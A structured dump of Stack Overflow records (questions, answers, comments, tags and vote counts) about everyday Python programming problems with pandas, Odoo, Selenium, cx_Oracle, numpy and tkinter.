has body: You could take a look of what happens when you do not fill these fields in the interface (and look what they get by default). For example, in stock.move Odoo takes the product_uom from product_id field (through an onchange method). And the date_expected is filled in by default with the current date. So: @api.multi def create_printy(self): copy_record = self.env['stock.picking'] for record in self: order_lines = [] for rec in record.order_lines: order_lines.append( (0,0, { 'product_id': rec.isbn.id, 'product_uom': rec.isbn.uom_id.id, 'date_expected': time.strftime(DEFAULT_SERVER_DATETIME_FORMAT), 'product_qty': rec.qty, } )) sp_types = self.env['stock.picking.type'].search([ ('code', '=', 'outgoing') ]) if len(sp_types) &gt; 0: copy_record.create({ 'origin': record.name, 'picking_type_id': sp_types[0].id, 'move_lines': order_lines, 'move_type': 'direct', 'priority': '1', 'company_id': record.company_id.id, }) For date_expected you will have to import in your .py file (out of your classes) the following: import time from openerp.tools import DEFAULT_SERVER_DATETIME_FORMAT
accepted answer of: http://stackoverflow.com/q/47234269
score: 2

http://stackoverflow.com/q/47310814
tagged with: datetime
has body: My raw data has a column with timestamps in ISO8601 format like this: '2017-07-25T06:00:02+02:00' Since the data is in CSV format, it will be read as object/string. Therefore I'm converting it to datetime like this. import pandas pd df['time'] = pd.to_datetime(df['time'], utc=False) #df['time'][0] df['time'][0].isoformat() Unfortunately this results in UTC timestamps and the timezone is lost. For instance df['time'][0].tzinfo is not set. Timestamp('2017-07-25 04:00:02') '2017-07-25T04:00:02' I'm looking for a way to keep the timezone info in each of the timezone objects. But without re-setting it to CEST (Central European Summer Time) afterwards since this information is already included in the ISO8601 timezone offset in the raw-data. Any idea how to do this?
tagged with: python
type: Question
has answer: http://stackoverflow.com/a/47326498
has title: Pandas to_datetime loses timezone
answer count: 1
downvote count: 0
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47326498
tagged with: pandas
upvote count: 7
score: 7

http://stackoverflow.com/comment/81470180
comment on: http://stackoverflow.com/q/47259664
has text: The error appears when the program call odeint
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47279782
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: Searching shorcuts with architecture detection (32-bit or 64-bit) I figured the additional information would be useful, but you can reduce it to just 32-bit and 64-bit. import subprocess, os, struct def getWordVersion(): directory = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" wordFile = "" wordVersion = "" def recursiveSearch(directory): for root, dirs, filenames in os.walk(directory): for dire in dirs: result = recursiveSearch(root + "\\" + dire) if result: return result for filename in filenames: if filename.endswith(".lnk") and filename.startswith("Word "): wordFile = root + "\\" + filename wordVersion = filename[:-4] return wordFile, wordVersion return False wordFile, wordVersion = recursiveSearch(directory) lnkTarget = subprocess.check_output(["C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", "(New-Object -ComObject WScript.Shell).CreateShortcut('" + wordFile + "').TargetPath"],shell=True) locationOfLnk = lnkTarget.strip() IMAGE_FILE_MACHINE_I386=332 IMAGE_FILE_MACHINE_IA64=512 IMAGE_FILE_MACHINE_AMD64=34404 f=open(locationOfLnk, "rb") f.seek(60) s=f.read(4) header_offset=struct.unpack("&lt;L", s)[0] f.seek(header_offset+4) s=f.read(2) machine=struct.unpack("&lt;H", s)[0] architecture = "" if machine==IMAGE_FILE_MACHINE_I386: architecture = "IA-32 (32-bit x86)" elif machine==IMAGE_FILE_MACHINE_IA64: architecture = "IA-64 (Itanium)" elif machine==IMAGE_FILE_MACHINE_AMD64: architecture = "AMD64 (64-bit x86)" else: architecture = "Unknown architecture" f.close() return wordVersion + " " + architecture print(getWordVersion()) Registry Method A method is to loop through all registry keys under Office and find the most recent one. Unfortunately, Microsoft decided it was a great idea to change the install directory in nearly every version. So, if you want to compile a complete list of all install locations, that'd work to (unless they installed it at a custom location). Note: This is Python 3 code, if you need Python 2, then change winr…
has comment: http://stackoverflow.com/comment/81556663
accepted answer of: http://stackoverflow.com/q/47279167
has comment: http://stackoverflow.com/comment/81556854
answers question: http://stackoverflow.com/q/47279167
type: Answer
has comment: http://stackoverflow.com/comment/81556912

http://stackoverflow.com/q/47329223
tagged with: ansible
score: 2
upvote count: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47329470
downvote count: 0
answer count: 1
favorite count: 0
type: Question
has body: I can't figure out how to find the source code of some Ansbile core modules. For example, modules fetch, template, debug or fail don't have any code in their respective Python file. Only the documentation and some meta-data are there. I guess these modules are implemented in the core engine, but I can't find the code.
tagged with: python
has title: Where can I find the source code of some empty Ansible core modules?
accepted answer: http://stackoverflow.com/a/47329470

http://stackoverflow.com/comment/81524049
type: QuestionComment
comment on: http://stackoverflow.com/q/47284245
score: 0
has text: Excuse me if I'm wrong, but I just want an html tag. I don't want the content. The content inside the script is a base 64 string that firefox can run into a javascript function and produce content. I don't care about this. I don't want the rendered html, I want the unrendered html. Are you talking about the rendered javacrpit? I can render it myself. But I can't fetch it... ` ` is an html tag. I see it without having it rendered. Why doesn't `requests` see it?
type: Comment

http://stackoverflow.com/comment/81545632
has text: @DickThompson YW~:-) have a nice day
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47296198
type: Comment

http://stackoverflow.com/q/47315871
type: Question
has comment: http://stackoverflow.com/comment/81584288
has body: I am using python 2.7 on a mac and writing in the Terminal. I have made sure that my geckodriver is readable, writable and executable: -rwxrwxrwx@ 1 Esi staff 3600548 31 Oct 19:55 geckodriver The gecko driver is currently residing in my Dropbox folder. I have used: cd Dropbox sudo cp geckodriver /usr/bin/ I have then entered my password and received: cp: /usr/bin/geckodriver: Operation not permitted I have also tried export PATH=$PATH:Dropbox/geckodriver
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
has title: I am trying to import from selenium and selenium.webdriver.support.ui I have tried many ways to get geckodriver into my usr/bin/ but it is not working
has answer: http://stackoverflow.com/a/47316536
has comment: http://stackoverflow.com/comment/81582877
score: 0
answer count: 1
tagged with: selenium
accepted answer: http://stackoverflow.com/a/47316536

http://stackoverflow.com/a/47372476
answers question: http://stackoverflow.com/q/47371579
score: 1
downvote count: 0
upvote count: 1
has body: Replace the commas with _ (python 3 supports underscores): num.replace(',', '_') Change them back later.
type: Answer

http://stackoverflow.com/q/47289878
accepted answer: http://stackoverflow.com/a/47289984
type: Question
has body: I am trying to categorise elements in a list using a dictionary: mydict = {'beach': ['beach', 'sand', 'coast'], 'package': ['package', 'inclusive']} given dataframe: Keyword |cat | --------------------------------|----| beach holiday | | package beach holiday | | inclusive beach holiday | | I want to check that if an element is in the dictionary it applies the keyword to the category column e.g.: Keyword |cat | --------------------------------|----| beach holiday |beach | package beach holiday |package| inclusive package beach holiday |package| I have attempted with the following code: df = get_csv(csv) mydict = {'beach': ['beach', 'sand', 'coast'], 'package': ['package', 'inclusive']} for key in mydict.keys(): item = key if item in mydict[key]: target_cats = item find_keywords = lambda kw: [s for s in kw.split() if s in target_cats] df.loc[:, 'cat_list'] = df['Keyword'].apply(lambda x: find_keywords(x)) for i in range(1, 4): df.loc[:, 'cat{0}'.format(i)] = df['cat_list'].apply(lambda x: x[i-1] if len(x) &gt;= i else '') print(df) df.to_csv('kuoniTesting.csv') However this just gives an empty category list, the code to check against a list works, how do i modify this to use a dictionary? target_cats = ['cat', 'dog', 'cow'] df = pd.DataFrame({'Keyword': ['cat dog cow', 'cat dog', 'dog sheep']}) find_keywords = lambda kw: [s for s in kw.split() if s in target_cats] df.loc[:, 'cat_list'] = df['Keyword'].apply(lambda x: find_keywords(x)) for i in range(1, 4): df.loc[:, 'cat{0}'.format(i)] = df['cat_list'].apply(lambda x: x[i-1] if len(x) &gt;= i else '') Keyword cat_list cat1 cat2 cat3 0 cat dog cow [cat, dog, cow] cat dog cow 1 cat dog [cat, dog] cat dog 2 dog sheep [dog] dog
tagged with: python
has title: Modifying an element in a dataframe by checking a dictionary
tagged with: pandas
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47289984
downvote count: 0
score: 1
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/q/47274094
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47274239
has comment: http://stackoverflow.com/comment/81503925
type: Question
has answer: http://stackoverflow.com/a/47274542
tagged with: pandas
has answer: http://stackoverflow.com/a/47274643
tagged with: http://stackoverflow.com/tag/csv
tagged with: dataframe
tagged with: python
linked to: http://stackoverflow.com/q/20868394
upvote count: 2
has body: Recently I have been developing some code to read a csv file and store key data columns in a dataframe. Afterwards I plan to have some mathematical functions performed on certain columns in the dataframe. I've been fairly successful in storing the correct columns in the dataframe. I have been able to have it do whatever maths is necessary such as summations, additions of dataframe columns, averaging etc. My problem lies in accessing specific columns once they are stored in the dataframe. I was working with a test file to get everything working and managed this no problem. The problems arise when I open a different csv file, it will store the data in the dataframe, but the accessing the column I want no longer works and it stops at the calculation part. From what I can tell the problem lies with how it reads the column name. The column names are all numbers. For example, df['300'], df['301'] etc. When accessing the column df['300'] works fine in the testfile, while the next file requires df['300.0']. If I switch to a different file it may require df['300'] again. All the data was obtained in the same way so I am not certain why some are read as 300 and the others 300.0. Short of constantly changing the column labels each time I open a different file, is there anyway to have it automatically distinguish between '300' and '300.0' when opening the file, or force '300.0' = '300'? Thanks
has title: python distinguish between '300' and '300.0' for a dataframe column
answer count: 3
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/81499468

http://stackoverflow.com/q/47275876
favorite count: 0
has answer: http://stackoverflow.com/a/47276190
has comment: http://stackoverflow.com/comment/81502933
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81502934
has title: how to translate list from a file?
type: Question
has comment: http://stackoverflow.com/comment/81503210
upvote count: 0
type: UnansweredQuestion
answer count: 1
has body: fo=open("sample.txt","r") item=fo.readlines() fo.close() replacements = (('4','A'),('8','b'),('3','e'),('5','s'),('7','t'),('@','a'),('3','e'),('0','o')) new_string = item for new, old in replacements: new_string = new_string.replace(new, old) print ( new_string) I have written the following code but does not read my list. My goal is translate the list.
downvote count: 1

http://stackoverflow.com/comment/81618741
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47290642
has text: Sorry I should have said I'm using python.
score: 0

http://stackoverflow.com/q/47226087
type: UnansweredQuestion
tagged with: python-requests
type: Question
score: 0
tagged with: python-asyncio
has comment: http://stackoverflow.com/comment/81411075
tagged with: python
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81427485
answer count: 0
has body: I am trying to make a post call to an external api from my method, async def post(self, request, **args): loop = app.loop # Event loop #Service proxy is basically a wrapper on top of request library proxy = ServiceProxy(url, port=HTTPS_PORT, context_path="/", scheme=SCHEME_HTTPS, verify_host=False, proxies=await get_proxies()) # get_proxies=&gt;system_proxy req = partial(proxy.post, url, headers=headers, payload=data_json) return await loop.run_in_executor(None, req) except ExternalServiceException as e: logger.error(e.inner_response.text) return e.inner_response 2 out of 5 times the method fails with EndpointConnectionError but if I stop and start the service it works absolutely fine, I am not able to find the root cause, Also addding loggers in the code seem to reduce the occurrence of the error, At the outlook asyncio seem to be causing the issue here, But I am not able to figure out the solution, can someone point out the exact issue / suggest a solution?
has title: python-request module throwing EndPointConnectionError intermittently when it is used along with asyncio

http://stackoverflow.com/comment/81610211
type: QuestionComment
comment on: http://stackoverflow.com/q/47322794
has text: you can't alter the fonts used by tkinter.
score: 1
type: Comment

http://stackoverflow.com/a/47325451
type: Answer
accepted answer of: http://stackoverflow.com/q/47325413
answers question: http://stackoverflow.com/q/47325413
score: 0
has body: It's parsing the embedded commas as separators, it looks like you only have a single column so you can tell it to only load that column and pass lineterminator='\n': In[86]: t="""Company Name Company Name\Cortana Place\rBaton Rouge, LA 70815 Some Product Company\r1Highway 21\rMadi""" df = pd.read_csv(io.StringIO(t), usecols=[0], lineterminator='\n') df Out[85]: Company Name 0 Company Name\Cortana Place\rBaton Rouge, LA 70... 1 Company\r1Highway 21\rMadi Here I tell pandas to only load the first column usecols=[0], additionally it's reading the \r as carriage returns so we can override this and tell it to look specifically for \n as the line terminator If we now look at the first row, we can see it's all there: In[87]: df['Company Name'].iloc[0] Out[87]: 'Company Name\\Cortana Place\rBaton Rouge'
type: AcceptedAnswer

http://stackoverflow.com/comment/81411885
type: QuestionComment
score: 0
has text: Some kind of findall to find the dots and then slice off the extra, or a regex pattern for any amount of digits, optional dot, optional more digits
type: Comment
comment on: http://stackoverflow.com/q/47230593

http://stackoverflow.com/q/47282158
tagged with: python
tagged with: module
has answer: http://stackoverflow.com/a/47282310
has body: I want to structure imports of my python module/package, namely I have several *.py files in my module. All of them use: import numpy as np in some pf them I use: import pandas as pd can I set the global import for my python module, and say that it uses numpy as np in all the *.py files of the module. I tried something in __init__.py but it didn't work as expected. Is it anyhow reasonable to make global imports?
score: 0
answer count: 2
tagged with: python-import
type: Question
type: AnsweredQuestion
has title: Importing library once for a python module
accepted answer: http://stackoverflow.com/a/47282182
possible better answer: http://stackoverflow.com/a/47282310
has answer: http://stackoverflow.com/a/47282182

http://stackoverflow.com/comment/81640788
type: QuestionComment
has text: Please mention the issue in you question not in comments of your code. you haven't mentioned what is going wrong exactly.
type: Comment
comment on: http://stackoverflow.com/q/47344431
score: 1

http://stackoverflow.com/a/47365123
has body: An Autoencoder, in each layer of encoding part, learns discriminative features and then in the reconstruction phase (in the decoding part) it tries to use those features to shape the output. But, when autoencoders are used to locally extract lower dimensional features, it would be much more efficient if you use Convolutional Autoencoders(CAE). An intuitive answer to your question could be using the feature maps which are produced in the decoding part of a CAE as lower dimensional extracted features. I mean, train an N-layer CAE on your dataset, and then ignore the output layer, and use the outputs of Convolutional layers for your clustering purposes. Just for more clarification, each of that 5x5 feature maps (S_2) in the above image could be considered as a feature. You can find quick demonstration and implementation of a CAE here. And finally, it'd be better to ask such a question on Data Science community.
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/47360322
type: Answer
answers question: http://stackoverflow.com/q/47360322

http://stackoverflow.com/a/47316384
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47316193
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81583884
has body: According to: https://regex101.com/ You are correct, \\ should be escaping the \ Try adding an r before your regex string and compile it, example: regex = re.compile(r"(%s)\\(%d)([0-9]+)".format(newspaper, year2)) found = re.search(regex, stringy_thing) You can then use the group method to probe the returned found item(s); regex101 will also show you the capture groups in the upper right pane.
type: Answer
accepted answer of: http://stackoverflow.com/q/47316193

http://stackoverflow.com/comment/81659335
comment on: http://stackoverflow.com/a/47353357
type: AnswerComment
has text: When constructing the new list, is there any reason `listr` cannot be used instead of `listb` in the list comprehension?
score: 0
type: Comment

http://stackoverflow.com/comment/81529145
type: AnswerComment
has text: Which means by the way that your program cannot be run at all. You can still run your python file directly to see if that works by opening a command line and running it with something along the lines `python myfile.py` if your script is called `myfile.py`
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47289348

http://stackoverflow.com/comment/81704818
has text: Is `constant` 2d array? `adfuller()` accepts 1d array only.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47376300

http://stackoverflow.com/comment/81534722
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47289954
has text: Dataflow Job ID: 2017-11-08_06_49_03-4712352492378635612

http://stackoverflow.com/a/47254905
upvote count: 1
answers question: http://stackoverflow.com/q/47254653
has body: There are two challenges you are facing raw_input accepts a string to print, but your function returns None. Your output is likely line-buffered so you probably would not see any output anyway. The solution to the first issue was mentioned in the comments to the question. The solution to the second is simply to flush your output between writing each letter. import sys import time def print_slow(str): for letter in str: sys.stdout.write(letter) sys.stdout.flush() # Force writing to screen even though newline has not been reached. time.sleep(.04) print_slow("Do you wish to begin? (Y/n)") answer = raw_input()
accepted answer of: http://stackoverflow.com/q/47254653
type: Answer
score: 1
type: AcceptedAnswer
downvote count: 0

list
tags question: http://stackoverflow.com/q/47283574
tags question: http://stackoverflow.com/q/47246228
type: Tag
tags question: http://stackoverflow.com/q/47367882
tags question: http://stackoverflow.com/q/47281799
tags question: http://stackoverflow.com/q/47335842
tags question: http://stackoverflow.com/q/47251377
tags question: http://stackoverflow.com/q/47320134
tags question: http://stackoverflow.com/q/47235791
tags question: http://stackoverflow.com/q/47342100
tags question: http://stackoverflow.com/q/47246511
tags question: http://stackoverflow.com/q/47365816
tags question: http://stackoverflow.com/q/47342442
tags question: http://stackoverflow.com/q/47312109
tags question: http://stackoverflow.com/q/47279517
tags question: http://stackoverflow.com/q/47380169
tags question: http://stackoverflow.com/q/47354380
tags question: http://stackoverflow.com/q/47275108
tags question: http://stackoverflow.com/q/47273380
tags question: http://stackoverflow.com/q/47368382
tags question: http://stackoverflow.com/q/47291639
tags question: http://stackoverflow.com/q/47289757
tags question: http://stackoverflow.com/q/47303512
tags question: http://stackoverflow.com/q/47295894
tags question: http://stackoverflow.com/q/47223771
tags question: http://stackoverflow.com/q/47242851
tags question: http://stackoverflow.com/q/47253998
tags question: http://stackoverflow.com/q/47315857
tags question: http://stackoverflow.com/q/47240552
tags question: http://stackoverflow.com/q/47298802
tags question: http://stackoverflow.com/q/47291094
tags question: http://stackoverflow.com/q/47380999
tags question: http://stackoverflow.com/q/47242038
tags question: http://stackoverflow.com/q/47237151
tags question: http://stackoverflow.com/q/47299949
tags question: http://stackoverflow.com/q/47337948
tags question: http://stackoverflow.com/q/47335928
tags question: http://stackoverflow.com/q/47331228
tags question: http://stackoverflow.com/q/47308486
tags question: http://stackoverflow.com/q/47231444
tags question: http://stackoverflow.com/q/47239039
tags question: http://stackoverflow.com/q/47324351
tags question: http://stackoverflow.com/q/47355269
tags question: http://stackoverflow.com/q/47272525
tags question: http://stackoverflow.com/q/47351788
tags question: http://stackoverflow.com/q/47243858
tags question: http://stackoverflow.com/q/47371627
tags question: http://stackoverflow.com/q/47241153
tags question: http://stackoverflow.com/q/47369339
tags question: http://stackoverflow.com/q/47342835
tags question: http://stackoverflow.com/q/47300904
tags question: http://stackoverflow.com/q/47369160
tags question: http://stackoverflow.com/q/47341900
tags question: http://stackoverflow.com/q/47287462
tags question: http://stackoverflow.com/q/47353297
tags question: http://stackoverflow.com/q/47343589
tags question: http://stackoverflow.com/q/47352815
tags question: http://stackoverflow.com/q/47342601
tags question: http://stackoverflow.com/q/47248991
tags question: http://stackoverflow.com/q/47340674
tags question: http://stackoverflow.com/q/47381225
tags question: http://stackoverflow.com/q/47294659
tags question: http://stackoverflow.com/q/47241623
tags question: http://stackoverflow.com/q/47261738
tags question: http://stackoverflow.com/q/47298470
tags question: http://stackoverflow.com/q/47330666
tags question: http://stackoverflow.com/q/47263083
tags question: http://stackoverflow.com/q/47251395
tags question: http://stackoverflow.com/q/47362177
tags question: http://stackoverflow.com/q/47333158
tags question: http://stackoverflow.com/q/47312882
tags question: http://stackoverflow.com/q/47366403
tags question: http://stackoverflow.com/q/47337141
tags question: http://stackoverflow.com/q/47359810
tags question: http://stackoverflow.com/q/47303569
tags question: http://stackoverflow.com/q/47259620
tags question: http://stackoverflow.com/q/47257333
tags question: http://stackoverflow.com/q/47245102
tags question: http://stackoverflow.com/q/47293151
tags question: http://stackoverflow.com/q/47229618

http://stackoverflow.com/comment/81638492
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47343126
score: 0
has text: $ which pip /usr/local/bin/pip

http://stackoverflow.com/q/47235160
has title: BeautifulSoup not retrieving elements
has answer: http://stackoverflow.com/a/47235370
score: -1
type: Question
duplicate of: http://stackoverflow.com/q/1242755
upvote count: 0
answer count: 1
has body: I have tried to extract one div element from a page. i used "class" for that to identify that tag. but it is not detecting the div tag.It is showing an empty list. I am attaching the image of the code below.
has comment: http://stackoverflow.com/comment/81421219
tagged with: python
tagged with: python-requests
linked to: http://stackoverflow.com/q/1242755
downvote count: 1
favorite count: 0
tagged with: beautifulsoup
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47235370

http://stackoverflow.com/q/47233042
has comment: http://stackoverflow.com/comment/81427540
answer count: 0
has body: I have been struggling for hours with a large json file (1.4gb). My code is as follows. import json json_data = open('data.json') d = json.load(json_data) I keep getting the error. Am I missing somwthing too obvious here? Traceback (most recent call last): File "&lt;ipython-input-20-68c726931a15&gt;", line 1, in &lt;module&gt; d=json.load(json_data) File "C:\Users\dvargas\Anaconda3\lib\json\__init__.py", line 265, in load return loads(fp.read(), File "C:\Users\dvargas\Anaconda3\lib\encodings\cp1252.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x8d in position 58902: character maps to &lt;undefined&gt;
tagged with: python
has title: Troubles reading large json file (python 3.5)
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81427308
has comment: http://stackoverflow.com/comment/81430851
has comment: http://stackoverflow.com/comment/81428319
has comment: http://stackoverflow.com/comment/81428366
score: 0
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/81424061
has comment: http://stackoverflow.com/comment/81430836
has comment: http://stackoverflow.com/comment/81428348
type: Question

http://stackoverflow.com/q/47327057
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47327188
favorite count: 0
type: Question
has body: I need to split a four digit string to two hexadecimal numbers. Eg: string = "ABCD" expected output = 0xAB 0xCD I tried these statements: &gt;&gt;data = "0000" &gt;&gt;[byte1, byte2] = [data[:2], data[2:]] &gt;&gt;byteInt = int(byte1,16) &gt;&gt;byteHex = format(byteInt,'0#4x') &gt;&gt;print byteHex I am getting the error, "ValueError: Invalid conversion specification" at the line "byteHex = format(byteInt,'0#4x')"
has answer: http://stackoverflow.com/a/47327188
has title: String to hexadecimal conversion - Python - ValueError: Invalid conversion specification
tagged with: type-conversion

http://stackoverflow.com/comment/81577258
score: 0
type: QuestionComment
type: Comment
has text: @Ev.Kounis it counts normal like h:1, e:1, but in column. I need both outputs in list. Like this: h:1 e:1 l:3 o:2 :1 w:1 r:1 d:1 !:1 l o l
comment on: http://stackoverflow.com/q/47312836

http://stackoverflow.com/q/47243190
tagged with: arrays
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81437287
accepted answer: http://stackoverflow.com/a/47250077
linked to: http://stackoverflow.com/q/588004
score: 19
favorite count: 0
has answer: http://stackoverflow.com/a/47250077
has comment: http://stackoverflow.com/comment/81440622
type: AnsweredQuestion
upvote count: 19
has answer: http://stackoverflow.com/a/71986319
has comment: http://stackoverflow.com/comment/81444386
has comment: http://stackoverflow.com/comment/81439952
has answer: http://stackoverflow.com/a/47244183
has comment: http://stackoverflow.com/comment/81437220
has title: numpy arange: how to make "precise" array of floats?
possible better answer: http://stackoverflow.com/a/71138842
has body: In short, the problem I encounter is this: aa = np.arange(-1., 0.001, 0.01) aa[-1] Out[16]: 8.8817841970012523e-16 In reality, this cause a series problem since my simulations doesn't allow positive value inputs. I can sort of get around by doing: aa = np.arange(-100, 1, 1)/100. aa[-1] Out[21]: 0.0 But this is a pain. Practically you can't do this every time. This seems like such a basic problem. There's gotta be something I am missing here. By the way, I am using Python 2.7.13.
has answer: http://stackoverflow.com/a/71138842
answer count: 4
has comment: http://stackoverflow.com/comment/81437013
type: Question
tagged with: numpy

http://stackoverflow.com/a/47318722
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47318552
has comment: http://stackoverflow.com/comment/81617245
has comment: http://stackoverflow.com/comment/81617298
answers question: http://stackoverflow.com/q/47318552
has body: the problem is that you are generating the random number in the "checkInput" function which will be called and changed everytime you press the "Check" button. What you should do is to generate the random number once and outside the "checkInput" function, for example look at the following code: import random from tkinter import * def checkInput(): user_guess = int(user_input.get()) if user_guess == randomNumber: print("You got it!") if user_guess &gt; randomNumber: print("Guess lower!") if user_guess &lt; randomNumber: print("Guess higher!") randomNumber = random.randint(1,100) root = Tk() user_input = Entry(root) user_input.pack() check_button = Button(root,text="Check",command=checkInput) .pack() reset_button = Button(root,text="Reset") .pack() root.mainloop() It is basically your own code with a minor change which is that the line where you generate the random number has been now moved out of the "checkInput" function. Good Luck ...
type: Answer
has comment: http://stackoverflow.com/comment/81617282
has comment: http://stackoverflow.com/comment/81617218
has comment: http://stackoverflow.com/comment/81617233
has comment: http://stackoverflow.com/comment/81589387

http://stackoverflow.com/comment/81496322
comment on: http://stackoverflow.com/q/47272433
has text: @Rawing The issue is that it keeps on returning with Christmas being sooner than the user-inputted date.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81538006
score: 0
type: Comment
has text: Thank you @Paul for wide explanation - examples from github were very informative.
type: AnswerComment
comment on: http://stackoverflow.com/a/47287547

http://stackoverflow.com/q/47361962
tagged with: iterator
answer count: 2
has comment: http://stackoverflow.com/comment/81677101
has body: I have a sentence that I want to parse to check for some conditions: a) If there is a period and it is followed by a whitespace followed by a lowercase letter b) If there is a period internal to a sequence of letters with no adjacent whitespace (i.e. www.abc.com) c) If there is a period followed by a whitespace followed by an uppercase letter and preceded by a short list of titles (i.e. Mr., Dr. Mrs.) Currently I am iterating through the string (line) and using the next() function to see whether the next character is a space or lowercase, etc. And then I just loop through the line. But how would I check to see what the next, next character would be? And how would I find the previous ones? line = "This is line.1 www.abc.com. Mr." t = iter(line) b = next(t) for i in line[:len(line)-1]: a = next(t) if i == "." and (a.isdigit()): #for example, this checks to see if the value after the period is a number print("True") Any help would be appreciated. Thank you.
tagged with: string
tagged with: parsing
type: Question
has answer: http://stackoverflow.com/a/47362160
type: UnansweredQuestion
has title: How to check subsequent elements of string in python using iterators?
has answer: http://stackoverflow.com/a/47362124
tagged with: python
has comment: http://stackoverflow.com/comment/81677157
has comment: http://stackoverflow.com/comment/81677089
score: 0

http://stackoverflow.com/comment/81569053
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47309294
has text: When `select` (at least `select.epoll`) will treat a disconnect as the client sending empty data, or you can use one of the other signals other than `EPILLIN`. Should be some equivilant of `select`. But the disconnect is a event, you just have to treat it as such, you should absolutely not use threads to solve this problem, since select is used specifically on non-threaded systems, where threads are not possible. And it's more than capable of solving the problem without threads being involved.

http://stackoverflow.com/comment/81698989
has text: In this line: `q=random.choice(quiz_data)`
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47368939
type: Comment

http://stackoverflow.com/comment/81707057
comment on: http://stackoverflow.com/q/47377522
type: QuestionComment
has text: I fixed it, sql is great as well
score: 1
type: Comment

http://stackoverflow.com/comment/81424998
has text: If there is anything you are unclear of just make sure you leave a message and il wil get back to you.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47237429

http://stackoverflow.com/comment/85200272
has text: @JKepler Thank you, I corrected my answer by changing 'COORDINATES' to 'COORDINATE'.
score: 1
comment on: http://stackoverflow.com/a/47295534
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81595552
comment on: http://stackoverflow.com/q/47322262
score: 0
type: Comment
type: QuestionComment
has text: It looks like you're using the xlrd library, here's a couple worked examples https://blogs.harvard.edu/rprasad/2014/06/16/reading-excel-with-python-xlrd/ Perhaps that will help get you going.

http://stackoverflow.com/a/47347044
score: 0
answers question: http://stackoverflow.com/q/47342755
type: Answer
has body: Your code is looping because your condition if my_file1.is_file(): is always false so it's always calling self.p2() in the else part. When you're defining a string and you want to put a '\', you have to put '\'. In your case you have '\t' so it will replace it by a tabulation. Replace it by Path("C:\\test.pdf")

http://stackoverflow.com/a/47238927
type: Answer
has body: Your problem is the return of your function, for example ('Tables:',1) is a tuple (a container), not a number. You're doing multiplication on the returned tuple, not a number. Just get rid of the "Tables:" part. Change all your returns from return('Tables:',1) To return 1 I'm not sure why you had wrapped the return in a tuple and gave it a "Tables" element, but that's surely not what you wanted to get that end goal. And as noted in the comments, your code also contains syntax errors; you're missing a ) on two of your lines. (int(898.88)) should be totalTable*(int(898.88))), and the line below it needs a closing parentheses as well.
upvote count: 3
answers question: http://stackoverflow.com/q/47238822
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47238822
score: 3

http://stackoverflow.com/q/47349768
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81651407
tagged with: python
score: 17
has answer: http://stackoverflow.com/a/47349888
accepted answer: http://stackoverflow.com/a/47349888
has body: I am getting the error cx_Oracle.DatabaseError: ORA-00933: SQL command not properly ended when trying to run the following code. I have used import cx_Oracle ip = '127.0.0.1' port = 1234 SID = 'abcd' dsn_tns = cx_Oracle.makedsn(ip, port, SID) conn = cx_Oracle.connect('username', 'password', dsn_tns) curs = conn.cursor() curs.execute('select sysdate from dual;') # Error is here curs.close() conn.close() Running the following works as expected: conn = cx_Oracle.connect('username', 'password', dsn_tns) print (conn.version) conn.close()
type: Question
has title: cx_Oracle.DatabaseError: ORA-00933: SQL command not properly ended
has comment: http://stackoverflow.com/comment/81651510
downvote count: 0
has comment: http://stackoverflow.com/comment/130512012
tagged with: cx-oracle
answer count: 1
has comment: http://stackoverflow.com/comment/112730187
upvote count: 17
has comment: http://stackoverflow.com/comment/130510280
favorite count: 0

http://stackoverflow.com/comment/81459584
has text: How to write output in file? I tried, see question
type: Comment
comment on: http://stackoverflow.com/q/47253747
score: 0
type: QuestionComment

http://stackoverflow.com/q/47297922
tagged with: latex
type: Question
has answer: http://stackoverflow.com/a/51271176
has answer: http://stackoverflow.com/a/47298412
tagged with: python
type: UnansweredQuestion
tagged with: jupyter-notebook
score: 0
answer count: 2
has title: Jupyter Notebook Error Downloading as PDF
tagged with: pandoc
